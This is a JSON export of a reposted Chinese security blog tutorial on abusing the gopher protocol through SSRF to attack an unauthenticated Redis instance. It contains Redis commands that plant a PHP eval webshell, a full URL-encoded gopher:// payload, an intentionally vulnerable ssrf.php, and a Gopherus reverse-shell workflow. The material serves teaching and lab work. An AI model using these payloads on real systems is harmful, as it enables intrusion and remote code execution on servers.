{"id":326,"date":"2021-12-21T17:54:10","date_gmt":"2021-12-21T09:54:10","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=326"},"modified":"2022-11-14T22:50:47","modified_gmt":"2022-11-14T14:50:47","slug":"gopher","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2021\/12\/21\/gopher\/","title":{"rendered":"\u5de7\u7528Gopher\u534f\u8bae\u6269\u5c55SSRF\u653b\u51fb\u624b\u6cd5\uff08\u8f6c\u8f7d\uff09"},"content":{"rendered":"

<\/span>0\u00d700 \u524d\u8a00<\/span><\/h2>\n

\u5927\u5bb6\u597d\uff0c\u6211\u662f\u638c\u63a7\u5b89\u5168\u5b66\u9662\u7684\u8042\u98ce\uff0cSSRF(\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020)\u6f0f\u6d1e\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62\u6210\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002SSRF\u5f88\u591a\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u90fd\u77e5\u6653\uff0c\u6211\u8bb0\u5fc6\u6700\u6df1\u523b\u7684\u5c31\u662f\u767d\u5e3d\u5927\u4f1a\u4e0a\u9762\u6240\u63d0\u53ca\u7684\uff0c\u867d\u7136SSRF\u73b0\u5728\u88ab\u91cd\u89c6\u4e86\u8d77\u6765\uff0c\u4f46\u662f\u8fd8\u662f\u6709\u5f88\u591a\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\uff0c\u9047\u5230SSRF\u4ec5\u4ec5\u5c31\u4f7f\u7528HTTP\u534f\u8bae\u770b\u770b\u6709\u6ca1\u6709\u5185\u7f51\u7684\u7f51\u7ad9\uff0c\u6216\u8005\u662f\u4f7f\u7528file\u534f\u8bae\u53bb\u8bfb\u53d6\u4e00\u4e9b\u672c\u5730\u654f\u611f\u6587\u4ef6\u3002\u6211\u8fd9\u91cc\u79d1\u666e\u4e00\u4e2agopher\u534f\u8bae\uff0c\u770b\u770b\u4ed6\u80fd\u505a\u4ec0\u4e48\u3002<\/p>\n

<\/span>0\u00d701 \u73af\u5883\u642d\u5efa<\/span><\/h2>\n

Centos \u9776\u673a<\/p>\n

Kali\u653b\u51fb\u673a<\/p>\n

Lnmp [\u6587\u4e2d\u4f1a\u4ecb\u7ecd\u5b89\u88c5]<\/p>\n

Redis[\u6587\u4e2d\u4f1a\u4ecb\u7ecd\u5b89\u88c5]<\/p>\n

Gopherus.py [https:\/\/github.com\/tarunkant\/Gopherus<\/a>]<\/p>\n

0x02 \u6b63\u6587<\/p>\n

\u6211\u4eec\u5148\u5f00\u59cb\u4ecb\u7ecd\u4e0b\u6211\u4eec\u8fd9\u7bc7\u6587\u7ae0\u7684\u4e3b\u89d2\uff0cgopher\u534f\u8bae\u3002<\/p>\n

Gopher \u534f\u8bae\u662f HTTP \u534f\u8bae\u51fa\u73b0\u4e4b\u524d\uff0c\u5728 Internet \u4e0a\u5e38\u89c1\u4e14\u5e38\u7528\u7684\u4e00\u4e2a\u534f\u8bae\u3002\u968f\u7740HTTP\u534f\u8bae\u7684\u58ee\u5927\uff0cGopher\u534f\u8bae\u5df2\u7ecf\u6162\u6162\u7684\u6de1\u51fa\u4e86\u6211\u4eec\u7684\u89c6\u7ebf\uff0c\u4f46\u662fGopher\u534f\u8bae\u5f88\u591a\u7ec4\u4ef6\u90fd\u652f\u6301\u5e76\u4e14\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\uff0c\u5728SSRF\u4e2d\uff0cGopher\u534f\u8bae<\/p>\n

\u53ef\u4ee5\u5bf9FTP\u3001Telnet\u3001Redis\u3001Memcache\u3001mysql\u8fdb\u884c\u653b\u51fb,\u4e5f\u53ef\u4ee5\u53d1\u9001GET\u3001POST \u8bf7\u6c42\u3002<\/p>\n

\u90a3\u4e48Gopher\u534f\u8bae\u9700\u8981\u5982\u4f55\u6784\u9020\u59ae\uff1f<\/p>\n

\u5176\u5b9e\u8fd9\u4e2a\u534f\u8bae\u548chttp\u534f\u8bae\u5f88\u7c7b\u4f3c\uff0c\u53ea\u4e0d\u8fc7gopher\u534f\u8bae\u6ca1\u6709\u9ed8\u8ba4\u7aef\u53e3\uff0c\u9700\u8981\u7279\u6b8a\u6307\u5b9a\uff0c\u800c\u4e14\u9700\u8981\u6307\u5b9aPOST\u65b9\u6cd5\uff0c\u56de\u8f66\u6362\u884c\u9700\u8981\u4f7f\u7528%0d%0a,\u800c\u4e14POST\u53c2\u6570\u4e4b\u95f4\u7684&\u5206\u9694\u7b26\u4e5f\u9700\u8981URL\u7f16\u7801<\/p>\n

\u6211\u4eec\u6765\u770b\u770bGopher\u534f\u8bae\u7684\u57fa\u672c\u534f\u8bae\u683c\u5f0f<\/p>\n

gopher:\/\/:\/_\u540e\u63a5TCP\u6570\u636e\u6d41<\/p>\n

\u90a3\u4e48\u6211\u4eec\u8bd5\u8bd5\u770bGopher\u534f\u8bae\u6700\u7ecf\u5178\u7684\u653b\u51fb\u65b9\u5f0f\uff0c\u5f88\u591a\u670d\u52a1\u9ed8\u8ba4\u90fd\u4e0d\u4f1a\u5728\u516c\u7f51\u5f00\u542f\uff0c\u4e00\u822c\u90fd\u662f\u4ec5\u4ec5\u5141\u8bb8\u672c\u5730\u8bbf\u95ee\uff0c\u4f8b\u5982Redis\uff0cRedis\u56e0\u4e3a\u914d\u7f6e\u4e0d\u5f53\u4f1a\u9020\u6210\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u8bfb\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u5199\u5165\u6587\u4ef6\uff08\u4e0d\u77e5\u9053\u7684\u540c\u5b66\u53ef\u4ee5\u53bb\u8865\u4e00\u4e0b\u8fd9\u5757\u7684\u77e5\u8bc6\uff09<\/p>\n

\u56e0\u4e3agopher\u534f\u8bae\u4f20\u53c2\u65b9\u5f0f\u662fTCP\u6570\u636e\u6d41\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528tcpdump\u6216\u8005\u76f4\u63a5\u4f7f\u7528Wireshark\u8fdb\u884c\u6355\u6349TCP\u7684\u4f20\u8f93\u3002<\/p>\n

\u6211\u4eec\u73b0\u5728\u653b\u51fb\u673a\u4e0a\u5b89\u88c5\u4e00\u4e2aredis \u3010\u5b89\u88c5\u65b9\u6cd5\u6709\u5f88\u591a\uff0c\u53ef\u4ee5\u7528wget\u5b89\u88c5\uff0c\u4e5f\u53ef\u4ee5\u7528apt-get\u5b89\u88c5\u3011\u3010\u53ef\u4ee5\u53c2\u8003https:\/\/www.cnblogs.com\/langtianya\/p\/5187681.html\u3011\u6211\u56e0\u4e3a\u662fKali\u76f4\u63a5apt-get\u641e\u5b9a\u7684\u3002<\/p>\n

\u5b89\u88c5\u6210\u529f\u540e\u4f1a\u51fa\u73b0\u8fd9\u4e2a\u5f00\u5fc3\u9875\u9762\u7684\u9875\u9762<\/p>\n

\"img\" <\/p>\n

\u7136\u540e\u6211\u4eec\u518d\u5f00\u4e00\u4e2a\u7a97\u53e3\uff0c\u8f93\u5165redis-cli [\u8fdb\u5165redis\u7684\u7ec8\u7aef]\uff0c\u7136\u540e\u8f93\u51faping \u5982\u679c\u8fd4\u56dePONG \u90a3\u4e48\u5c31\u662f\u6210\u529f\u4e86<\/p>\n

\"img\" <\/p>\n

\u7136\u540e\u6211\u4eec\u518d\u8fdb\u884c\u4e00\u4e9bRedis\u672a\u6388\u6743\u8bbf\u95ee\u7684\u653b\u51fb\uff0c\u5176\u4e2d\u5371\u5bb3\u6700\u5927\u7684\u83ab\u8fc7\u4e8e\u662f\u76f4\u63a5\u5199\u5165Webshell\u548c\u5229\u7528\u8ba1\u5212\u4efb\u52a1\u6267\u884c\u547d\u4ee4\u53cd\u5f39shell\uff0c\u8fd9\u4e2a\u547d\u4ee4\u4e00\u822cCentos\u5bb9\u6613\u590d\u73b0\u3002\u6211\u4eec\u6253\u5f00\u6211\u4eec\u7684\u6293\u5305\u5de5\u5177\u3002<\/p>\n

\u6211\u8fd9\u91cc\u7528Wireshark\u5427\u3002\u6211\u4eec\u5148\u8ba9\u4ed6\u53bb\u6293lo\u8fd9\u4e2a\u7f51\u5361<\/p>\n

\"img\" <\/p>\n

\u7136\u540e\u53bb\u6267\u884cRedis\u7684\u6076\u610f\u8bed\u53e5\u3002<\/p>\n

config set dir \/home\/wwwroot\/default\/<\/p>\n

config set dbfilename "shell.php"<\/p>\n

set gaia "<?php eval($_POST[a]);?>"<\/p>\n

save<\/p>\n

exit<\/p>\n

\/home\/wwwroot\/default\u662f\u7f51\u7ad9\u7684\u6839\u76ee\u5f55\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u6839\u636e\u7f51\u9875\u62a5\u9519\u627e\u5230\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528file:\/\/\/\u534f\u8bae\u53bb\u8bfb\u53d6\u654f\u611f\u6587\u4ef6\u53bb\u83b7\u53d6\u7f51\u7ad9\u6839\u76ee\u5f55\u3002[\u5982\u679c\u7b2c\u4e00\u6761\u6267\u884c\u4e0d\u4e86\uff0c\u53ef\u80fd\u662f\u4f60\u7684\u653b\u51fb\u673a\u5668\u6ca1\u6709\u8fd9\u4e2a\u76ee\u5f55\uff0c\u521b\u5efa\u4e00\u4e0b\u5c31\u884c]<\/p>\n

\"img\" <\/p>\n

\"img\" <\/p>\n

\u6210\u529f\u5199\u5165\u4e86webshell<\/p>\n

\u7136\u540e\u6211\u4eec\u6267\u884c\u5b8c\u4e4b\u540e\u59ae<\/p>\n

\u6253\u5f00Wireshark\u7136\u540e\u53f3\u952e\u8ffd\u8e2a\u6d41\u91cc\u9762\uff0c\u6709\u4e2aTCP\u6d41\uff0c\u91cc\u9762\u611f\u89c9\u6709\u5f88\u591a\u6570\u636e\uff0c\u4e0d\u8981\u5bb3\u6015\uff0c\u8bb0\u5f97\u53bb\u9009\u4e2d\u6211\u4eec\u53d1\u9001\u8fc7\u53bb\u7684\u6570\u636e\u3010\u56e0\u4e3a\u6211\u4eecRedis\u6709\u6570\u636e\u56de\u663e\u3011<\/p>\n

\"img\" <\/p>\n

\u7136\u540e\u5c06\u83b7\u5f97\u7684\u6570\u636e\u590d\u5236\u4e0b\u6765<\/p>\n

*1<\/p>\n

$7<\/p>\n

COMMAND<\/p>\n

*4<\/p>\n

$6<\/p>\n

config<\/p>\n

$3<\/p>\n

set<\/p>\n

$3<\/p>\n

dir<\/p>\n

$22<\/p>\n

\/home\/wwwroot\/default\/<\/p>\n

*4<\/p>\n

$6<\/p>\n

config<\/p>\n

$3<\/p>\n

set<\/p>\n

$10<\/p>\n

dbfilename<\/p>\n

$9<\/p>\n

shell.php<\/p>\n

*3<\/p>\n

$3<\/p>\n

set<\/p>\n

$4<\/p>\n

gaia<\/p>\n

$24<\/p>\n

<?php eval($_POST[a]);?><\/p>\n

*1<\/p>\n

$4<\/p>\n

save<\/p>\n

\u7136\u540e\u5bf9\u8fd9\u4e2a\u6570\u636e\u8fdb\u884c\u5904\u7406\u3002\u5148\u8fdb\u884c\u4e00\u6b21URL\u7f16\u7801[http:\/\/tool.oschina.net\/encode?type=4%5D\uff0c\u7136\u540e\u5c06\u6bcf\u4e00\u4e2a\u6362\u884c\u7528\u4ee3\u66ff\u8f6c\u7801\u51fa\u6765\u7684,\u8bb0\u5f97\u8981\u628a?\u66ff\u6362\u4e3a%3f<\/a> \u7136\u540e\u6211\u4eec\u5c06\u8fd9\u4e2a\u4e1c\u897f\u518d\u52a0\u4e0agopher\u7684\u524d\u7f00\u8fdb\u884c\u6267\u884c\u3002<\/p>\n

gopher:\/\/127.0.0.1:6379\/<\/a>1%0D%0A$7%0D%0ACOMMAND%0D%0A<\/em>4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A\/home\/wwwroot\/default\/%0D%0A4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A<\/em>3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A<\/p>\n

\u6211\u4eec\u7684ssrf.php\u6e90\u7801<\/p>\n

<?php<\/p>\n

$aa = @$_REQUEST['url'];<\/p>\n

$ch = curl_init();<\/p>\n

curl_setopt($ch,CURLOPT_URL,$aa);<\/p>\n

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);<\/p>\n

curl_setopt($ch,CURLOPT_HEADER,0);<\/p>\n

$output = curl_exec($ch);<\/p>\n

echo $output;<\/p>\n

if($output === FALSE ){<\/p>\n

echo "CURL Error:".curl_error($ch);<\/p>\n

}<\/p>\n

curl_close($ch);?><\/p>\n

\u7136\u540e\u6267\u884c\uff0c\u5c31\u4f1a\u5728\u6839\u76ee\u5f55\u751f\u6210shell.php<\/p>\n

\"img\" <\/p>\n

\"img\" <\/p>\n

\u597d\u4e0d\u5bb9\u6613\u62ff\u4e86\u4e00\u4e2aWebshell,\u8fd9\u6837\u5b50\u771f\u7684\u662f\u5f02\u5e38\u7684\u9ebb\u70e6\uff0c\u4e8e\u662f\u4e4e\u6709\u524d\u8f88\u5199\u8fc7\u4e00\u4e2a\u811a\u672c\uff0cgopherus.py,\u5728github\u53ef\u4ee5\u4e0b\u8f7d\u3002[\u8fd9\u4e2a\u5de5\u5177\u652f\u6301\u591a\u79cdGopher\u534f\u8bae\u751f\u6210\u653b\u51fb\u4ee3\u7801]<\/p>\n

\u4e0b\u8f7d\u597d\u540e\u76f4\u63a5\u4f7f\u7528<\/p>\n

\"img\" <\/p>\n

\u6211\u4eec\u9009\u4e2dredis\u6a21\u5757[python gopherus.py --exploit redis]<\/p>\n

\u7136\u540e\u5f88\u8d34\u5fc3\u7684\u95ee\u6211\u8981webshell\u8fd8\u662f\u53cd\u5f39shell\uff0c\u7136\u540e\u8ba9\u6211\u4eec\u5199\u63a5\u53d7\u53cd\u5f39shell\u7684Ip<\/p>\n

\"img\" <\/p>\n

\u867d\u7136\u6700\u540e\u51fa\u4e86\u70b9\u5c0f\u95ee\u9898\uff0c\u4f46\u662f\u4ed6\u6709\u663e\u793a\u4e86POC\u4ee3\u7801\uff0c\u76f4\u63a5\u590d\u5236\u7c98\u8d34\u5c31\u884c\uff0c\u8fd9\u91cc\u76d1\u542c\u7684\u662f1234\u7aef\u53e3\u3002<\/p>\n

\u90a3\u6211\u4eec\u76d1\u542c1234\u7aef\u53e3\u5427\uff01<\/p>\n

\"img\" <\/p>\n

\u6210\u529f\u83b7\u5f97\u53cd\u5f39Shell\uff0c\u4e0d\u9700\u8981\u5404\u79cd\u6293\u5305\u3001\u8f6c\u7801\u591a\u5f00\u5fc3\u3002<\/p>\n

Gopherus.py\u8fd8\u652f\u6301\u51e0\u79cd\u672a\u6388\u6743\u8bbf\u95ee\u7684\u65b9\u6cd5\uff0c\u603b\u7684\u6765\u8bf4\u8fd8\u4e0d\u9519\u3002\u53ef\u4ee5\u90fd\u53bb\u8bd5\u4e00\u8bd5\uff0c\u5f88\u591a\u975e\u52a0\u5bc6\u8bbf\u95ee\u7684\u672a\u6388\u6743\u8bbf\u95ee\u90fd\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528Gopher\u534f\u8bae\u53bb\u5c1d\u8bd5\u5229\u7528!<\/p>\n

0\u00d703 \u603b\u7ed3<\/p>\n

\u5176\u5b9eGopher\u534f\u8bae\u53ef\u4ee5\u653b\u51fb\u7684\u672a\u6388\u6743\u8bbf\u95ee\u4e0d\u4ec5\u4ec5\u53ea\u6709\u6211\u5217\u4e3e\u7684\u548c\u8fd9\u4e2a\u5de5\u5177\u652f\u6301\u7684\u8fd9\u51e0\u4e2a\uff0c\u6211\u6587\u7ae0\u4e2d\u7684\u8fd9\u4e9b\u4e5f\u53ea\u662f\u4e00\u4e2a\u629b\u7816\u5f15\u7389\uff0c\u53ea\u662f\u79d1\u666e\u4e00\u4e0b\u8fd9\u4e2a\u534f\u8bae\uff0c\u8ba9\u6ca1\u6709\u63a5\u89e6\u8fc7\u7684\u540c\u5b66\u77e5\u9053\u4ed6\u7684\u4f5c\u7528\uff01\u5982\u679c\u6211\u6587\u7ae0\u4e2d\u6709\u4ec0\u4e48\u5199\u7684\u53ef\u4ee5\u518d\u6539\u8fdb\u7684\u5730\u65b9\uff0c\u53ef\u4ee5\u968f\u65f6\u8054\u7cfb\u6211\uff01\u8c22\u8c22\u5927\u5bb6\u82b1\u8d39\u4e86\u65f6\u95f4\u6765\u8bfb\u5728\u4e0b\u7684\u7c97\u9119\u5c0f\u6587\uff0c\u8c22\u8c22\u5927\u5bb6\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"

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